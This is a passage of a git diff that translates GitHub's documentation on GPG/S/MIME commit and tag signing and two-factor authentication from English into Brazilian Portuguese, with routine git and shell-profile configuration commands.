+1. [Verificar se há chaves GPG existentes](/articles/checking-for-existing-gpg-keys)
+2. [Gerar uma nova chave GPG](/articles/generating-a-new-gpg-key)
+3. [Adicionar uma nova chave GPG à sua conta do GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)
+4. [Informar o Git sobre a chave de assinatura](/articles/telling-git-about-your-signing-key)
+5. [Assinar commits](/articles/signing-commits)
+6. [Assinar tags](/articles/signing-tags)
 
-## S/MIME commit signature verification
+## Verificação da assinatura de commit S/MIME
 
-You can use S/MIME to sign commits with an X.509 key issued by your organization.
+Você pode usar S/MIME para assinar commits com uma chave X.509 emitida pela organização.
 
-{% data variables.product.product_name %} uses [the Debian ca-certificates package](https://packages.debian.org/hu/jessie/ca-certificates), the same trust store used by Mozilla browsers, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key in a trusted root certificate.
+O {% data variables.product.product_name %} usa [o pacote Debian ca-certificates](https://packages.debian.org/hu/jessie/ca-certificates), a mesma loja confiável usada pelos navegadores Mozilla, para confirmar se seus commits e tags localmente assinados são criptograficamente verificáveis em uma chave pública em um certificado raiz confiável.
 
 {% data reusables.gpg.smime-git-version %}
 
-To sign commits using S/MIME and have those commits verified on {% data variables.product.product_name %}, follow these steps:
+Para assinar commits usando S/MIME e para que esses commits sejam verificados no {% data variables.product.product_name %}, siga estas etapas:
 
-1. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key)
-2. [Sign commits](/articles/signing-commits)
-3. [Sign tags](/articles/signing-tags)
+1. [Informar o Git sobre a chave de assinatura](/articles/telling-git-about-your-signing-key)
+2. [Assinar commits](/articles/signing-commits)
+3. [Assinar tags](/articles/signing-tags)
 
-You don't need to upload your public key to {% data variables.product.product_name %}.
+Não é preciso fazer upload da chave pública no {% data variables.product.product_name %}.
 
 {% ifversion fpt or ghec %}
-## Signature verification for bots
+## Verificação de assinatura para bots
 
-Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. If a commit or tag has a bot signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag as verified.
+As organizações e {% data variables.product.prodname_github_apps %} que exigem a assinatura de commit podem usar bots para assinar commits. Se um commit ou uma tag tiver uma assinatura de bot que possa ser verificada de maneira criptográfica, o {% data variables.product.product_name %} marcará o commit ou tag como verificado.
 
-Signature verification for bots will only work if the request is verified and authenticated as the {% data variables.product.prodname_github_app %} or bot and contains no custom author information, custom committer information, and no custom signature information, such as Commits API.
+A verificação de assinatura para bots somente funcionará se a solicitação for verificada e autenticada como o {% data variables.product.prodname_github_app %} ou bot e se não tiver informações de autor personalizadas, informações de committer personalizadas e nenhuma informação de assinatura personalizada, como API de commits.
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
-- "[Troubleshooting commit signature verification](/articles/troubleshooting-commit-signature-verification)"
+- "[Assinar commits](/articles/signing-commits)"
+- "[Assinar tags](/articles/signing-tags)"
+- "[Solucionar verificação da assinatura de commit](/articles/troubleshooting-commit-signature-verification)"
diff --git a/translations/pt-BR/content/authentication/managing-commit-signature-verification/index.md b/translations/pt-BR/content/authentication/managing-commit-signature-verification/index.md
index 8a3ba49810..42d0365d9f 100644
--- a/translations/pt-BR/content/authentication/managing-commit-signature-verification/index.md
+++ b/translations/pt-BR/content/authentication/managing-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing commit signature verification
-intro: 'You can sign your work locally using GPG or S/MIME. {% data variables.product.product_name %} will verify these signatures so other people will know that your commits come from a trusted source.{% ifversion fpt %} {% data variables.product.product_name %} will automatically sign commits you make using the {% data variables.product.product_name %} web interface.{% endif %}'
+title: Gerenciar a verificação de assinatura de commit
+intro: 'Você pode assinar seu trabalho localmente usando GPG ou S/MIME. O {% data variables.product.product_name %} verificará essas assinaturas, assim as pessoas saberão que seus commits tem origem em uma fonte confiável.{% ifversion fpt %} O {% data variables.product.product_name %} assinará automaticamente os commits que você fez com a interface web do {% data variables.product.product_name %}.{% endif %}'
 redirect_from:
   - /articles/generating-a-gpg-key
   - /articles/signing-commits-with-gpg
@@ -24,6 +24,6 @@ children:
   - /associating-an-email-with-your-gpg-key
   - /signing-commits
   - /signing-tags
-shortTitle: Verify commit signatures
+shortTitle: Verificar assinaturas de commit
 ---
 
diff --git a/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-commits.md
index a158f5199a..105605b190 100644
--- a/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-commits.md
+++ b/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-commits.md
@@ -1,6 +1,6 @@
 ---
-title: Signing commits
-intro: You can sign commits locally using GPG or S/MIME.
+title: Assinar commits
+intro: Você pode assinar commits localmente usando GPG ou S/MIME.
 redirect_from:
   - /articles/signing-commits-and-tags-using-gpg
   - /articles/signing-commits-using-gpg
@@ -16,45 +16,45 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
 {% tip %}
 
-**Tips:**
+**Dicas:**
 
-To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`.
+Para configurar seu cliente Git para assinar commits por padrão para um repositório local, em versões 2.0.0 e acima do Git, execute `git config commit.gpgsign true`. Para assinar todos os commits por padrão em qualquer repositório local no seu computador, execute `git config --global commit.gpgsign true`.
 
-To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools:
-  - For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the Mac OS Keychain.
-  - For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools.
+Para armazenar a frase secreta da chave GPG e não precisar inseri-la sempre que assinar um commit, recomendamos o uso das seguintes ferramentas:
+  - Para usuários do Mac, o [GPG Suite](https://gpgtools.org/) permite armazenar a frase secreta da chave GPG no keychain do sistema operacional do Mac.
+  - Para usuários do Windows, o [Gpg4win](https://www.gpg4win.org/) se integra a outras ferramentas do Windows.
 
-You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with Mac OS Keychain like ssh-agent and requires more setup.
+Você também pode configurar manualmente o [gpg-agent](http://linux.die.net/man/1/gpg-agent) para salvar a frase secreta da chave GPG, mas ele não se integra ao keychain do sistema operacional do Mac, como o ssh-agent, e exige mais configuração.
 
 {% endtip %}
 
-If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/articles/telling-git-about-your-signing-key).
+Se você tiver várias chaves ou estiver tentando assinar commits ou tags com uma chave que não corresponde a sua identidade de committer, precisará [informar o Git a chave de assinatura](/articles/telling-git-about-your-signing-key).
 
-1. When committing changes in your local branch, add the -S flag to the git commit command:
+1. Ao fazer commit das alterações no branch local, adicione o sinalizador -S flag ao comando git commit:
   ```shell
   $ git commit -S -m <em>"your commit message"</em>
   # Creates a signed commit
   ```
-2. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/articles/generating-a-new-gpg-key).
-3. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.product_name %}:
+2. Ao usar o GPG, depois de criar o commit, forneça a frase secreta configurada quando você [gerou a chave GPG](/articles/generating-a-new-gpg-key).
+3. Quando terminar de criar os commits localmente, faça o push para o repositório remoto no {% data variables.product.product_name %}:
   ```shell
   $ git push
   # Pushes your local commits to the remote repository
   ```
-4. On {% data variables.product.product_name %}, navigate to your pull request.
+4. No {% data variables.product.product_name %}, navegue até sua pull request.
 {% data reusables.repositories.review-pr-commits %}
-5. To view more detailed information about the verified signature, click Verified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+5. Para exibir informações mais detalhadas sobre a assinatura verificada, clique em Verified (Verificada). ![Commit assinado](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
 
-## Further reading
+## Leia mais
 
-* "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-* "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-* "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-* "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-* "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-* "[Signing tags](/articles/signing-tags)"
+* "[Verificar se há chaves GPG existentes](/articles/checking-for-existing-gpg-keys)"
+* "[Gerar uma nova chave GPG](/articles/generating-a-new-gpg-key)"
+* "[Adicionar uma nova chave GPG à sua conta do GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)"
+* "[Avisar o Git sobre sua chave de assinatura](/articles/telling-git-about-your-signing-key)"
+* "[Associar um e-mail à sua chave GPG](/articles/associating-an-email-with-your-gpg-key)"
+* "[Assinar tags](/articles/signing-tags)"
diff --git a/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-tags.md b/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-tags.md
index 7d9a38a398..77d6ab7ac8 100644
--- a/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-tags.md
+++ b/translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Signing tags
-intro: You can sign tags locally using GPG or S/MIME.
+title: Assinar tags
+intro: Você pode assinar as tags localmente usando GPG ou S/MIME.
 redirect_from:
   - /articles/signing-tags-using-gpg
   - /articles/signing-tags
@@ -15,25 +15,26 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
-1. To sign a tag, add `-s` to your `git tag` command.
+1. Para assinar uma tag, adicione `-s` ao comando `git tag`.
   ```shell
   $ git tag -s <em>mytag</em>
   # Creates a signed tag
   ```
-2. Verify your signed tag it by running `git tag -v [tag-name]`.
+2. Verifique a tag assinada executando `git tag -v [tag-name]`.
   ```shell
   $ git tag -v <em>mytag</em>
   # Verifies the signed tag
   ```
 
-## Further reading
+## Leia mais
 
-- "[Viewing your repository's tags](/articles/viewing-your-repositorys-tags)"
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
+- "[Exibir tags do seu repositório](/articles/viewing-your-repositorys-tags)"
+- "[Verificar se há chaves GPG existentes](/articles/checking-for-existing-gpg-keys)"
+- "[Gerar uma nova chave GPG](/articles/generating-a-new-gpg-key)"
+- "[Adicionar uma nova chave GPG à sua conta do GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)"
+- "[Avisar o Git sobre sua chave de assinatura](/articles/telling-git-about-your-signing-key)"
+- "[Associar um e-mail à sua chave GPG](/articles/associating-an-email-with-your-gpg-key)"
+- "[Assinar commits](/articles/signing-commits)"
diff --git a/translations/pt-BR/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md b/translations/pt-BR/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
index 25275ba5df..7a3abc67dc 100644
--- a/translations/pt-BR/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
+++ b/translations/pt-BR/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
@@ -1,6 +1,6 @@
 ---
-title: Telling Git about your signing key
-intro: 'To sign commits locally, you need to inform Git that there''s a GPG or X.509 key you''d like to use.'
+title: Informar ao Git sobre a chave de assinatura
+intro: 'Para assinar commits localmente, você precisa informar ao Git que há uma chave GPG ou X.509 que você gostaria de usar.'
 redirect_from:
   - /articles/telling-git-about-your-gpg-key
   - /articles/telling-git-about-your-signing-key
@@ -14,32 +14,33 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Tell Git your signing key
+shortTitle: Informe ao Git sua chave de assinatura
 ---
+
 {% mac %}
 
-## Telling Git about your GPG key
+## Informar ao Git sobre a chave GPG
 
-If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+Se você estiver usando uma chave GPG que corresponde à sua identidade do autor do submissão e ao endereço de e-mail verificado associado à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, você poderá começar a assinar commits e tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+Se você não tiver uma chave GPG que corresponda à identidade do committer, precisará associar um e-mail a uma chave existente. Para obter mais informações, consulte "[Associar e-mail à chave GPG](/articles/associating-an-email-with-your-gpg-key)".
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+Se você tiver várias chaves GPG, precisará informar ao Git qual deve ser usada.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. If you aren't using the GPG suite, run the following command in the `zsh` shell to add the GPG key to your `.zshrc` file, if it exists, or your `.zprofile` file:
+1. Se você não estiver usando o pacote GPG, execute o comando a seguir no shell do `zsh` para adicionar a chave GPG ao seu arquivo `.zshrc`, se ele existir, ou seu arquivo `.zprofile`:
   ```shell
   $ if [ -r ~/.zshrc ]; then echo 'export GPG_TTY=$(tty)' >> ~/.zshrc; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.zprofile; fi
   ```
-  Alternatively, if you use the `bash` shell, run this command:
+  Como alternativa, se você usar o shall de `bash`, execute este comando:
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
@@ -51,17 +52,17 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% windows %}
 
-## Telling Git about your GPG key
+## Informar ao Git sobre a chave GPG
 
-If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+Se você estiver usando uma chave GPG que corresponde à sua identidade do autor do submissão e ao endereço de e-mail verificado associado à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, você poderá começar a assinar commits e tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+Se você não tiver uma chave GPG que corresponda à identidade do committer, precisará associar um e-mail a uma chave existente. Para obter mais informações, consulte "[Associar e-mail à chave GPG](/articles/associating-an-email-with-your-gpg-key)".
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+Se você tiver várias chaves GPG, precisará informar ao Git qual deve ser usada.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
@@ -74,41 +75,41 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% linux %}
 
-## Telling Git about your GPG key
+## Informar ao Git sobre a chave GPG
 
-If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+Se você estiver usando uma chave GPG que corresponde à sua identidade do autor do submissão e ao endereço de e-mail verificado associado à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, você poderá começar a assinar commits e tags.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+Se você não tiver uma chave GPG que corresponda à identidade do committer, precisará associar um e-mail a uma chave existente. Para obter mais informações, consulte "[Associar e-mail à chave GPG](/articles/associating-an-email-with-your-gpg-key)".
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+Se você tiver várias chaves GPG, precisará informar ao Git qual deve ser usada.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. To add your GPG key to your bash profile, run the following command:
+1. Para adicionar a sua chave GPG ao seu perfil bash, execute o seguinte comando:
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
   ```
   {% note %}
 
-  **Note:** If you don't have `.bash_profile`, this command adds your GPG key to `.profile`.
+  **Observação:** se você não tiver `.bash_profile`, este comando adicionará sua chave GPG a `.profile`.
 
   {% endnote %}
 
 {% endlinux %}
 
-## Further reading
+## Leia mais
 
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Using a verified email address in your GPG key](/articles/using-a-verified-email-address-in-your-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- "[Verificar se há chaves GPG existentes](/articles/checking-for-existing-gpg-keys)"
+- "[Gerar uma nova chave GPG](/articles/generating-a-new-gpg-key)"
+- "[Usar um endereço de e-mail verificado na chave GPG](/articles/using-a-verified-email-address-in-your-gpg-key)"
+- "[Adicionar uma nova chave GPG à sua conta do GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)"
+- "[Associar um e-mail à sua chave GPG](/articles/associating-an-email-with-your-gpg-key)"
+- "[Assinar commits](/articles/signing-commits)"
+- "[Assinar tags](/articles/signing-tags)"
diff --git a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
index a58a2a56b1..30600d12af 100644
--- a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
+++ b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing GitHub using two-factor authentication
-intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.product_name %}.'
+title: Acessar o GitHub usando a autenticação de dois fatores
+intro: 'Com a 2FA habilitada, será solicitado que você forneça seu código de autenticação de 2FA, bem como sua senha, ao iniciar a sessão no {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/providing-your-2fa-security-code
   - /articles/providing-your-2fa-authentication-code
@@ -14,59 +14,60 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Access GitHub with 2FA
+shortTitle: Acesse o GitHub com 2FA
 ---
-With two-factor authentication enabled, you'll need to provide an authentication code when accessing {% data variables.product.product_name %} through your browser. If you access {% data variables.product.product_name %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)."
 
-## Providing a 2FA code when signing in to the website
+Com a autenticação de dois fatores habilitada, você deverá fornecer um código de autenticação ao acessar {% data variables.product.product_name %} por meio do seu navegador. Se você acessar {% data variables.product.product_name %} usando outros métodos, como, por exemplo, a API ou a linha de comando, você deverá usar uma forma alternativa de autenticação. Para obter mais informações, consulte "[Sobre a autenticação do {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)".
 
-After you sign in to {% data variables.product.product_name %} using your password, you'll be prompted to provide an authentication code from {% ifversion fpt or ghec %}a text message or{% endif %} your TOTP app.
+## Fornecer um código 2FA ao entrar no site
 
-{% data variables.product.product_name %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, or your session expires.
+Depois de entrar no {% data variables.product.product_name %} usando sua senha, será solicitado que você forneça um código de autenticação de {% ifversion fpt or ghec %}uma mensagem de texto ou{% endif %} do seu app TOTP.
 
-### Generating a code through a TOTP application
+O {% data variables.product.product_name %} solicitará seu código de autenticação 2FA novamente apenas se você se desconectar, for usar um novo dispositivo ou a sessão expirar.
 
-If you chose to set up two-factor authentication using a TOTP application on your smartphone, you can generate an authentication code for {% data variables.product.product_name %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions.
+### Gerar um código por meio de um aplicativo TOTP
 
-If you delete the mobile application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. For more information, see "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+Se você optar por configurar a autenticação de dois fatores usando um aplicativo TOTP no smartphone, será possível gerar um código de autenticação para o {% data variables.product.product_name %} a qualquer momento. Na maioria das vezes, apenas iniciar o aplicativo gera um novo código. Você deve consultar a documentação do seu aplicativo para obter instruções específicas.
+
+Em caso de exclusão do aplicativo móvel após configuração da autenticação de dois fatores, será preciso fornecer seu código de recuperação para obter acesso à sua conta. Para obter mais informações, consulte "[Recuperar sua conta se você perder as credenciais da autenticação de dois fatores](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
 
 {% ifversion fpt or ghec %}
 
-### Receiving a text message
+### Receber uma mensagem de texto
 
-If you set up two-factor authentication via text messages, {% data variables.product.product_name %} will send you a text message with your authentication code.
+Se você configurar a autenticação de dois fatores por meio de mensagens de texto, o {% data variables.product.product_name %} enviará uma mensagem de texto com seu código de autenticação.
 
 {% endif %}
 
-## Using two-factor authentication with the command line
+## Usar a autenticação de dois fatores com a linha de comando
 
-After you've enabled 2FA, you must use a personal access token or SSH key instead of your password when accessing {% data variables.product.product_name %} on the command line.
+Após habilitação da 2FA, você deverá usar um token de acesso pessoal ou uma chave SSH em vez da senha ao acessar o {% data variables.product.product_name %} na linha de comando.
 
-### Authenticating on the command line using HTTPS
+### Autenticar na linha de comando usando HTTPS
 
-After you've enabled 2FA, you must create a personal access token to use as a password when authenticating to {% data variables.product.product_name %} on the command line using HTTPS URLs.
+Após habilitação da 2FA, você deverá criar um token de acesso pessoal a ser usado como uma senha ao autenticar no {% data variables.product.product_name %} na linha de comando usando URLs HTTPS.
 
-When prompted for a username and password on the command line, use your {% data variables.product.product_name %} username and personal access token. The command line prompt won't specify that you should enter your personal access token when it asks for your password.
+Ao ser solicitado a fornecer um nome de usuário e uma senha na linha de comando, use seu nome de usuário no {% data variables.product.product_name %} e o token de acesso pessoal. O prompt da linha de comando não especificará que você deve inserir seu token de acesso pessoal quando solicitar sua senha.
 
-For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
 
-### Authenticating on the command line using SSH
+### Autenticar na linha de comando usando SSH
 
-Enabling 2FA doesn't change how you authenticate to {% data variables.product.product_name %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/articles/connecting-to-github-with-ssh/)."
+Habilitar a 2FA não altera como você faz a autenticação no {% data variables.product.product_name %} na linha de comando usando URLs SSH. Para obter mais informações sobre como configurar e usar uma chave SSH, consulte "[Conectar-se ao {% data variables.product.prodname_dotcom %} com SSH](/articles/connecting-to-github-with-ssh/)".
 
-## Using two-factor authentication to access a repository using Subversion
+## Usar a autenticação de dois fatores para acessar um repositório usando o Subversion
 
-When you access a repository via Subversion, you must provide a personal access token instead of entering your password. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Quando você acessa um repositório via Subversion, é preciso fornecer um token de acesso pessoal no lugar de digitar sua senha. Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
 
-## Troubleshooting
+## Solução de Problemas
 
-If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+Em caso de perda de acesso às suas credenciais de autenticação de dois fatores, você poderá usar seus códigos de recuperação ou outro método de recuperação (se houver um configurado) para obter acesso novamente à sua conta. Para obter mais informações, consulte "[Recuperar sua conta se você perder as credenciais da 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)".
 
-If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone.
+Se a autenticação falhar várias vezes, talvez seja conveniente sincronizar o relógio do seu telefone com o provedor móvel. Muitas vezes, isso envolve verificar a opção "Set automatically" (Definir automaticamente) no relógio do seu telefone, em vez de fornecer seu próprio fuso horário.
 
-## Further reading
+## Leia mais
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- [Sobre a autenticação de dois fatores](/articles/about-two-factor-authentication)"
+- "[Configurar a autenticação de dois fatores](/articles/configuring-two-factor-authentication)"
+- "[Configurar métodos de recuperação de autenticação de dois fatores](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Recuperar sua conta se você perder as credenciais da autenticação de dois fatores](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
index 025b05a7ce..7d0e52078e 100644
--- a/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
+++ b/translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
@@ -1,6 +1,6 @@
 ---
-title: Changing two-factor authentication delivery methods for your mobile device
-intro: You can switch between receiving authentication codes through a text message or a mobile application.
+title: Alterar os métodos de entrega da autenticação de dois fatores em dispositivos móveis
+intro: Você pode alternar entre receber códigos de notificação por meio de uma mensagem de texto ou um aplicativo móvel.
 redirect_from:
   - /articles/changing-two-factor-authentication-delivery-methods
   - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
@@ -11,25 +11,24 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Change 2FA delivery method
+shortTitle: Altere método de entrega de 2FA
 ---
+
 {% note %}
 
-**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)."
+**Observação:** Mudar o seu método principal para a autenticação de dois fatores invalida a configuração atual de autenticação de dois fatores, incluindo os seus códigos de recuperação. Mantenha o seu novo conjunto de códigos de recuperação seguros. Mudar o seu método principal para autenticação de dois fatores não afeta sua configuração de SMS padrão, caso esteja configurado. Para obter mais informações, consulte "[Configurando métodos de recuperação de autenticação de dois fatores](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)".
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "SMS delivery", click **Edit**.
-  ![Edit SMS delivery options](/assets/images/help/2fa/edit-sms-delivery-option.png)
-4. Under "Delivery options", click **Reconfigure two-factor authentication**.
-    ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png)
-5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
-    - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**.
-    - To set up two-factor authentication using text message (SMS), click **Set up using SMS**.
+3. Ao lado de "SMS delivery" (Entrega de SMS), clique em **Edit** (Editar). ![Opções para editar entrega de SMS](/assets/images/help/2fa/edit-sms-delivery-option.png)
+4. Em "Delivery options" (Opções de entrega), clique em **Reconfigure two-factor authentication** (Reconfigurar autenticação de dois fatores). ![Alternar as opções de entrega de 2FA](/assets/images/help/2fa/2fa-switching-methods.png)
+5. Decida se deseja configurar a autenticação de dois fatores usando um app móvel TOTP ou uma mensagem de texto. Para obter mais informações, consulte "[Configurar a autenticação de dois fatores](/articles/configuring-two-factor-authentication)".
+    - Para configurar a autenticação de dois fatores usando um app móvel TOTP, clique em **Set up using an app** (Configurar usando um app).
+    - Para configurar a autenticação de dois fatores usando mensagem de texto (SMS), clique em **Set up using SMS** (Configurar usando SMS).
 
-## Further reading
+## Leia mais
 
